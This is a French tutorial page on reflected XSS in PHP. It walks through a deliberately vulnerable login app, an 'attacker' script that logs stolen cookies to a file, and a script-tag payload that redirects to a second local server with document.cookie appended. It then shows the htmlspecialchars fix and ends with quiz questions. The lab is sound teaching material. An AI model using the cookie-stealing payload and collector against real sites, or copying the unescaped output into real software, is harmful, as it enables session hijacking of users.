Aller au contenu principal

XSS réfléchi

Injection HTML/JavaScript XSS réfléchi (Cross-Site Scripting)

Principe de l'attaque

Nous avons vu que l'injection HTML/JavaScript, aussi connue sous le nom de Cross-Site Scripting (XSS), est une vulnérabilité qui permet à un attaquant d'insérer du code malveillant dans une page Web consultée par d'autres utilisateurs.

Le type de XSS que nous allons étudier aujourd'hui est le XSS réfléchi.

Dans un XSS réfléchi, le script malveillant est inclus dans une URL ou dans une requête envoyée au serveur, qui va ensuite "réfléchir" ce script dans la réponse HTTP. Lorsqu'un utilisateur clique sur cette URL malveillante, le script s'exécute dans son navigateur.

Une application Web vulnérable

1) Code source de la version vulnérable

  1. Dans votre répertoire "Documents" créez le répertoire tp_xss_reflechi

  2. Dans le répertoire xss_reflechi, créez le répertoire victime

  3. Dans le répertoire victime, créez 2 fichiers, login.php et index.php.

login.php :

<?php
session_start();
if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="">
<input type="text" name="username" placeholder="Nom d'utilisateur">
<input type="submit" value="Se connecter">
</form>
</body>
</html>

index.php :

<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>Bienvenue, <?php echo $_SESSION['username']; ?>!</h1>
</body>
</html>
  1. Dans le répertoire xss_reflechi, créez le répertoire attaquant

  2. Dans le répertoire attaquant, créez le fichier index.php qui va récupérer et stocker le contenu du cookie :

    <?php
    if (isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];
    $file = fopen('cookies.txt', 'a');
    fwrite($file, $cookie . "\n");
    fclose($file);
    }

    Ce script PHP vérifie d'abord si un cookie a été passé en paramètre GET. Si c'est le cas, il ouvre le fichier cookies.txt en mode append ('a'), ce qui signifie que les données seront écrites à la fin du fichier sans supprimer le contenu existant. Ensuite, il écrit le contenu du cookie dans le fichier, suivi d'un saut de ligne ("\n"). Enfin, il ferme le fichier.

2) Déroulement de la démo (attaque possible)

Cette application Web permet à l'utilisateur de s'identifier avec un nom d'utilisateur. Le nom d'utilisateur est ensuite affiché sur la page du tableau de bord.

Cependant, comme le code n'échappe pas au nom d'utilisateur avant de l'afficher, il est possible d'injecter du code JavaScript.

  1. Déplacez vous dans le répertoire xss_reflechi, puis dans le répertoire victime.

  2. Exécutez le serveur PHP bienveillant : avec la commande php -S localhost:8000

  3. Déplacez vous dans le répertoire xss_reflechi, puis dans le répertoire attaquant.

  4. Exécutez le serveur PHP malveillant avec la commande php -S localhost:8001

  5. Ouvrez votre navigateur et accédez à 'http://localhost:8000/'

3) Les étapes de l'attaque

Nous allons essayer d'injecter du code JavaScript en utilisant le formulaire de connexion.

Par exemple, nous pouvons saisir quelque chose comme :

<script>document.location='http://localhost:8001/?cookie='+document.cookie;</script>

Lorsqu'ils se connectent, ils devraient être redirigés vers le site de l'attaquant avec leur cookie de session dans l'URL, prouvant que le code a été exécuté.

Correction de la vulnérabilité

1) Code source de la version corrigée

Nous allons modifier les 2 fichiers, login.php et index.php.

login.php :

<?php
session_start();
if (isset($_POST['username'])) {
$_SESSION['username'] = htmlspecialchars($_POST['username']);
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="">
<input type="text" name="username" placeholder="Nom d'utilisateur">
<input type="submit" value="Se connecter">
</form>
</body>
</html>

index.php :

<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>Bienvenue, <?php echo $_SESSION['username']; ?>!</h1>
</body>
</html>

2) Déroulement de la démo (attaque impossible)

  1. Déplacez vous dans le répertoire xss_reflechi, puis dans le répertoire victime.

  2. Exécutez le serveur PHP bienveillant : avec la commande php -S localhost:8000

  3. Déplacez vous dans le répertoire xss_reflechi, puis dans le répertoire attaquant.

  4. Exécutez le serveur PHP malveillant avec la commande php -S localhost:8001

  5. Ouvrez votre navigateur et accédez à 'http://localhost:8000/'

Essayons d'injecter du code JavaScript comme précédemment.

Cette fois, nous devrions voir le code JavaScript affiché en tant que texte, et non exécuté.

Cette version du code utilise la fonction htmlspecialchars pour échapper au nom d'utilisateur avant de le stocker dans la session.

remarque

La fonction htmlspecialchars convertit les caractères spéciaux en entités HTML, ce qui empêche l'exécution du code JavaScript.

3) Principe de la correction

La fonction htmlspecialchars a converti les caractères < et > en &lt; et &gt;, respectivement. Cela signifie que le navigateur interprète le code JavaScript comme du texte ordinaire, et non comme du code à exécuter.

remarque

La correction consiste à échapper correctement les entrées utilisateur avant de les insérer dans la page HTML. En PHP, la fonction htmlspecialchars peut être utilisée pour cela.

Code de bonne conduite

Toujours échapper les entrées utilisateur qui sont insérées dans une page HTML.

attention

Ne faites jamais confiance aux données fournies par l'utilisateur.

Test de mémorisation/compréhension


Qu'est-ce qu'une attaque XSS réfléchie ?


Comment prévenir les attaques XSS ?


Quelle fonction PHP peut être utilisée pour échapper les entrées utilisateur ?


Quel est le principe de base pour prévenir les attaques XSS ?